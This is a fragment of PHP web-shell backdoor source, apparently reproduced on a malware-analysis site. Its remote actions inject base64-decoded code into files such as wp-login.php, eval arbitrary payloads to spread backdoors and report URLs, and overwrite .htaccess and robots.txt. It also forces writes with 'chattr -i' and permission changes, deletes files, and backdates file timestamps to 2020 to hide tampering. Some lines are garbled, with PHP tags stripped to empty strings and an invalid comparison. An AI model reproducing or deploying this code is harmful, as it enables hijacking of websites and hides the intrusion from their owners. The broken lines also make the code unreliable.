$code = base64_decode($codeB, true);
if ($code === false) {
$item['ok'] = false; $item['error'] = 'bad_base64';
$out['restore'][] = $item;
continue;
}
$orig = @file_get_contents($full);
if ($orig === false) {
$item['ok'] = false; $item['error'] = 'read_failed';
$out['restore'][] = $item;
continue;
}
if ($marker !== '' && strpos($orig, $marker) !== false) {
$item['ok'] = true; $item['skipped'] = true; $item['reason'] = 'already_injected';
$out['restore'][] = $item;
continue;
}
$newContent = $code . "\n" . $orig;
if (aqua_force_write($full, $newContent)) {
aqua_touch_2020($full);
$item['ok'] = true;
$item['size'] = strlen($newContent);
} else {
$item['ok'] = false; $item['error'] = 'write_failed';
}
$out['restore'][] = $item;
}
}
// strip_targets: 清除注入码(与 restore_targets 的 prepend 对称)
// 读文件 → 找 marker 开头的 PHP 代码块 → 移除 → 写回
if (isset($req['strip_targets']) && is_array($req['strip_targets'])) {
$out['strip'] = array();
foreach ($req['strip_targets'] as $t) {
if (!is_array($t)) { continue; }
$path = isset($t['path']) ? $t['path'] : '';
$marker = isset($t['marker']) ? $t['marker'] : '';
if ($path === '' || $marker === '') { continue; }
$item = array('path' => $path);
$full = aqua_safe_path($ROOT, $path);
if ($full === false || !is_file($full)) {
$item['ok'] = false; $item['error'] = 'not_found';
$out['strip'][] = $item;
continue;
}
$orig = @file_get_contents($full);
if ($orig === false) {
$item['ok'] = false; $item['error'] = 'read_failed';
$out['strip'][] = $item;
continue;
}
if (strpos($orig, $marker) === false) {
$item['ok'] = true; $item['skipped'] = true; $item['reason'] = 'not_found';
$out['strip'][] = $item;
continue;
}
// 移除: 从 marker 前面的 php开始标签 到 marker 后面的 php结束标签
$cleaned = $orig;
while (($mPos = strpos($cleaned, $marker)) !== false) {
$before = substr($cleaned, 0, $mPos);
$phpOpen = strrpos($before, '');
if ($phpOpen === false) { $phpOpen = $mPos; }
$after = substr($cleaned, $mPos);
$phpClose = strpos($after, '');
if ($phpClose === false) { break; }
$endIdx = $mPos + $phpClose + 2;
if ($endIdx < strlen($cleaned) && $cleaned[$endIdx] === "\n") { $endIdx++; }
$cleaned = substr($cleaned, 0, $phpOpen) . substr($cleaned, $endIdx);
}
if ($cleaned === $orig) {
$item['ok'] = true; $item['skipped'] = true; $item['reason'] = 'no_change';
} else if (aqua_force_write($full, $cleaned)) {
aqua_touch_2020($full);
$item['ok'] = true; $item['size'] = strlen($cleaned);
} else {
$item['ok'] = false; $item['error'] = 'write_failed';
}
$out['strip'][] = $item;
}
}
if (isset($req['wp_login']) && is_array($req['wp_login'])) {
$wl = $req['wp_login'];
$path = isset($wl['path']) ? $wl['path'] : 'wp-login.php';
$codeB = isset($wl['code_b64']) ? $wl['code_b64'] : '';
$start = isset($wl['start_marker']) ? $wl['start_marker'] : '';
$item = array('path' => $path);
if ($codeB === '') {
$item['ok'] = false; $item['error'] = 'no_code';
} else {
$full = aqua_safe_path($ROOT, $path);
if ($full === false || !is_file($full)) {
$item['ok'] = false; $item['error'] = 'not_found';
} else {
$code = base64_decode($codeB, true);
if ($code === false) {
$item['ok'] = false; $item['error'] = 'bad_base64';
} else {
$orig = @file_get_contents($full);
if ($orig === false) {
$item['ok'] = false; $item['error'] = 'read_failed';
} elseif ($start !== '' && strpos($orig, $start) !== false) {
$item['ok'] = true; $item['skipped'] = true; $item['reason'] = 'already_injected';
} else {
$newContent = $code . "\n" . $orig;
if (aqua_force_write($full, $newContent)) {
aqua_touch_2020($full);
$item['ok'] = true;
$item['size'] = strlen($newContent);
} else {
$item['ok'] = false; $item['error'] = 'write_failed';
}
}
}
}
}
$out['wp_login'] = $item;
}
// rename_pairs: 重命名(.htaccess → htaccesscf 等)
if (isset($req['rename_pairs']) && is_array($req['rename_pairs'])) {
$out['rename'] = array();
foreach ($req['rename_pairs'] as $pair) {
if (!is_array($pair)) { continue; }
$from = isset($pair['from']) ? $pair['from'] : '';
$to = isset($pair['to']) ? $pair['to'] : '';
if ($from === '' || $to === '') { continue; }
$item = array('from' => $from, 'to' => $to);
$fromFull = aqua_safe_path($ROOT, $from);
$toFull = aqua_write_target($ROOT, $to);
if ($fromFull === false || $toFull === false) {
$item['ok'] = false; $item['error'] = 'invalid_path';
} elseif (!is_file($fromFull)) {
$item['ok'] = true; $item['updated'] = false; $item['error'] = 'no_source';
} else {
if (@rename($fromFull, $toFull)) {
aqua_touch_2020($toFull);
$item['ok'] = true; $item['updated'] = true;
} else {
$item['ok'] = false; $item['error'] = 'rename_failed';
}
}
$out['rename'][] = $item;
}
}
// files: 覆盖写文件(.htaccess 模板等),结果放 harden_files 避免和 read_files 的 files 冲突
if (isset($req['files']) && is_array($req['files'])) {
$out['harden_files'] = array();
foreach ($req['files'] as $rel => $b64) {
if (!is_string($rel) || $rel === '' || !is_string($b64)) {
$out['harden_files'][(string)$rel] = array('ok' => false, 'error' => 'bad_param');
continue;
}
$dest = aqua_write_target($ROOT, $rel);
if ($dest === false) {
$out['harden_files'][$rel] = array('ok' => false, 'error' => 'invalid_path');
continue;
}
$content = base64_decode($b64, true);
if ($content === false) {
$out['harden_files'][$rel] = array('ok' => false, 'error' => 'bad_base64');
continue;
}
if (aqua_force_write($dest, $content)) {
aqua_touch_2020($dest);
$out['harden_files'][$rel] = array('ok' => true, 'size' => strlen($content), 'md5' => md5($content));
} else {
$out['harden_files'][$rel] = array('ok' => false, 'error' => 'write_failed');
}
}
}
// protect_htaccess_b64: 子目录保护
if (isset($req['protect_htaccess_b64']) && is_string($req['protect_htaccess_b64']) && $req['protect_htaccess_b64'] !== '') {
$protContent = base64_decode($req['protect_htaccess_b64'], true);
$exclude = isset($req['protect_exclude']) && is_array($req['protect_exclude']) ? $req['protect_exclude'] : array();
$protOut = array('found' => array(), 'written' => array(), 'skipped' => array(), 'errors' => array());
if ($protContent === false) {
$protOut['error'] = 'bad_base64';
} else {
$results = array();
aqua_scan_directories($ROOT, $ROOT, '', 1, 0, $results, 200);
foreach ($results as $d) {
$name = basename($d);
$protOut['found'][] = $name;
if (in_array($name, $exclude)) {
$protOut['skipped'][] = $name;
continue;
}
$target = $d . '/.htaccess';
if (aqua_force_write($target, $protContent)) {
aqua_touch_2020($target);
$protOut['written'][] = $name;
} else {
$protOut['errors'][] = $name;
}
}
}
$out['protect'] = $protOut;
}
// Go 端 Files/HardenFiles 是 map[string]T,空 PHP array 会序列化为 []
// 而 Go json.Unmarshal 不接受 [] → map,所以空时要转成 stdClass → {}
if (empty($out['files'])) { $out['files'] = new \stdClass(); }
if (isset($out['harden_files']) && empty($out['harden_files'])) { $out['harden_files'] = new \stdClass(); }
if (isset($out['cleanup']) && empty($out['cleanup'])) { $out['cleanup'] = new \stdClass(); }
aqua_json(200, 'ok', $out);
break;
case 'bundle_beima':
$req = aqua_read_json_body();
if (!is_array($req)) {
aqua_json(400, 'bundle_beima 需要 JSON body', null);
}
if (!isset($req['payload_b64']) || !is_string($req['payload_b64']) || $req['payload_b64'] === '') {
aqua_json(400, '缺少 payload_b64', null);
}
$phpCode = base64_decode($req['payload_b64'], true);
if ($phpCode === false || strlen($phpCode) === 0) {
aqua_json(400, 'payload_b64 解码失败', null);
}
// 捕获 eval 输出(散布逻辑里的 echo)
ob_start();
eval($phpCode);
$output = ob_get_clean();
// 解析输出:最后几行是 URL
$lines = array_filter(array_map('trim', explode("\n", $output)), function($l) { return $l !== ''; });
$urls = array();
$deployed = 0;
$total = 0;
foreach ($lines as $line) {
if (preg_match('#^https?://#', $line)) {
$urls[] = $line;
} elseif (preg_match('#^(\d+)/(\d+)$#', $line, $m)) {
$deployed = (int)$m[1];
$total = (int)$m[2];
}
}
aqua_json(200, 'ok', array(
'deployed' => $deployed,
'total' => $total,
'urls' => $urls,
));
break;
case 'bundle_push':
$req = aqua_read_json_body();
if (!is_array($req)) {
aqua_json(400, 'bundle_push 需要 JSON body', null);
}
$out = array(
'cleanup' => array(),
'files' => array(),
'touch' => array(),
);
if (isset($req['cleanup_files']) && is_array($req['cleanup_files'])) {
foreach ($req['cleanup_files'] as $rel) {
if (!is_string($rel) || $rel === '') { continue; }
$full = aqua_safe_path($ROOT, $rel);
if ($full === false) {
$out['cleanup'][$rel] = 'invalid_path';
continue;
}
if (!is_file($full)) {
$out['cleanup'][$rel] = 'not_found';
continue;
}
$out['cleanup'][$rel] = aqua_hard_unlink($full) ? 'deleted' : 'delete_failed';
}
}
aqua_cleanup_blockers($ROOT);
if (isset($req['files']) && is_array($req['files'])) {
foreach ($req['files'] as $rel => $b64) {
if (!is_string($rel) || $rel === '' || !is_string($b64)) {
$out['files'][(string)$rel] = array('ok' => false, 'error' => 'bad_param');
continue;
}
$dest = aqua_write_target($ROOT, $rel);
if ($dest === false) {
$out['files'][$rel] = array('ok' => false, 'error' => 'invalid_path');
continue;
}
$content = base64_decode($b64, true);
if ($content === false) {
$out['files'][$rel] = array('ok' => false, 'error' => 'bad_base64');
continue;
}
// 修 0KB bug: base64 被 WAF 清理后 decode 可能返回空串而不是 false
// 明明请求带了内容却解码成空,是传输被污染,不能落成 0 字节文件
if ($content === '' && strlen($b64) > 0) {
$out['files'][$rel] = array('ok' => false, 'error' => 'empty_content');
continue;
}
if (aqua_force_write($dest, $content)) {
aqua_touch_2020($dest);
aqua_touch_2020_dir(dirname($dest), $ROOT);
$out['files'][$rel] = array(
'ok' => true,
'size' => strlen($content),
'md5' => md5($content),
);
} else {
$out['files'][$rel] = array('ok' => false, 'error' => 'write_failed');
}
}
}
if (isset($req['touch_dirs']) && $req['touch_dirs']) {
aqua_touch_all_dirs($ROOT);
$out['touch']['dirs'] = 'done';
}
if (isset($req['touch_self']) && $req['touch_self']) {
aqua_touch_2020($SELF_FILE);
$out['touch']['self'] = 'done';
}
aqua_json(200, 'ok', $out);
break;
default:
aqua_json(400, '未知 action', null);
}
function aqua_touch_2020($file) {
$ts = mktime(
mt_rand(0, 23), mt_rand(0, 59), mt_rand(0, 59),
mt_rand(1, 12), mt_rand(1, 28), 2020
);
@touch($file, $ts, $ts);
}
function aqua_ensure_writable($file) {
if (is_writable($file)) return;
@chmod($file, 0644);
if (is_writable($file)) return;
@chmod($file, 0666);
if (is_writable($file)) return;
@chmod($file, 0777);
}
function aqua_force_write($file, $data) {
if (is_file($file)) { aqua_ensure_writable($file); }
$ok = @file_put_contents($file, $data);
if ($ok !== false) return true;
if (is_file($file) && function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
@chmod($file, 0644);
$ok = @file_put_contents($file, $data);
if ($ok !== false) return true;
}
if (is_file($file)) {
@chmod($file, 0644);
$del = @unlink($file);
if (!$del) {
@chmod($file, 0777);
$del = @unlink($file);
}
if (!$del && function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
@chmod($file, 0644);
$del = @unlink($file);
}
if (!$del) return false;
}
$ok = @file_put_contents($file, $data);
if ($ok !== false) {
@chmod($file, 0644);
return true;
}
return false;
}
function aqua_write_target($ROOT, $rel) {
$full = aqua_safe_path($ROOT, $rel);
if ($full === false) { return false; }
$dir = dirname($full);
if (!is_dir($dir)) {
if (!@mkdir($dir, 0755, true) && !is_dir($dir)) { return false; }
}
return $full;
}
function aqua_touch_2020_dir($dir, $ROOT) {
$rootLen = strlen(rtrim($ROOT, '/'));
$d = rtrim($dir, '/');
while (strlen($d) > $rootLen) {
if (is_dir($d)) { aqua_touch_2020($d); }
$parent = dirname($d);
if ($parent === $d) break;
$d = $parent;
}
}
function aqua_touch_all_dirs($ROOT) {
$all = array();
aqua_collect_dirs($ROOT, $all);
usort($all, '_aqua_sort_depth');
foreach ($all as $d) {
aqua_touch_2020($d);
}
}
function _aqua_sort_depth($a, $b) { return strlen($b) - strlen($a); }
function aqua_collect_dirs($dir, &$result) {
$dh = @opendir($dir);
if (!$dh) return;
while (($f = readdir($dh)) !== false) {
if ($f === || $f === '..') continue;
$full = $dir . '/' . $f;
if (is_dir($full)) {
$result[] = $full;
aqua_collect_dirs($full, $result);
}
}
closedir($dh);
}
function aqua_rel($ROOT, $full) {
$r = substr($full, strlen($ROOT));
return ltrim(str_replace('\\', '/', $r), '/');
}
function aqua_json($code, $message, $data) {
aqua_status($code);
header('Content-Type: application/json');
$out = array('code' => $code, 'message' => $message);
if ($data !== null) { $out['data'] = $data; }
echo json_encode($out);
exit;
}
function aqua_status($code) {
$map = array(200 => 'OK', 400 => 'Bad Request', 403 => 'Forbidden', 404 => 'Not Found', 500 => 'Internal Server Error');
$text = isset($map[$code]) ? $map[$code] : 'OK';
if (function_exists('http_response_code')) {
http_response_code($code);
} else {
$proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0';
header($proto . ' ' . $code . ' ' . $text, true, $code);
}
}
function aqua_cleanup_blockers($ROOT) {
aqua_gen_robots($ROOT);
}
function aqua_gen_robots($ROOT) {
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
if ($host === '') return;
$https = false;
if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
$https = true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
$https = true;
} elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
$https = true;
}
$protocol = $https ? 'https' : 'http';
$sitemapUrl = $protocol . '://' . $host . '/sitemap.xml';
$content = "User-agent: *\r\nAllow: /\r\nSitemap: " . $sitemapUrl . "\r\n";
$robotsFile = $ROOT . '/robots.txt';
aqua_force_write($robotsFile, $content);
aqua_touch_2020($robotsFile);
}
function aqua_scan_directories($scanDir, $rootDir, $prefix, $maxDepth, $currentDepth, &$results, $maxResults) {
if (count($results) >= $maxResults) {
return;
}
if ($maxDepth > 0 && $currentDepth >= $maxDepth) {
return;
}
$dh = @opendir($scanDir);
if (!$dh) return;
while (($f = readdir($dh)) !== false) {
if ($f === || $f === '..') continue;
$full = $scanDir . '/' . $f;
if (!is_dir($full)) continue;
$relPath = $prefix === '' ? $f : $prefix . '/' . $f;
$results[] = $relPath;
if (count($results) >= $maxResults) {
closedir($dh);
return;
}
if ($maxDepth == 0 || $currentDepth + 1 < $maxDepth) {
aqua_scan_directories($full, $rootDir, $relPath, $maxDepth, $currentDepth + 1, $results, $maxResults);
}
}
closedir($dh);
}
function aqua_read_json_body() {
global $__aqua_dec_body;
if ($__aqua_dec_body !== null) {
$raw = $__aqua_dec_body;
} else {
$raw = @file_get_contents('php://input');
}
if ($raw === false || $raw === '') { return null; }
$data = json_decode($raw, true);
if (!is_array($data)) { return null; }
return $data;
}
function aqua_hard_unlink($file) {
if (!is_file($file)) { return true; }
@chmod($file, 0644);
if (@unlink($file)) { return true; }
@chmod($file, 0777);
if (@unlink($file)) { return true; }
if (function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
@chmod($file, 0644);
if (@unlink($file)) { return true; }
}
return !is_file($file);
}
© 2023 Quttera Ltd. All rights reserved.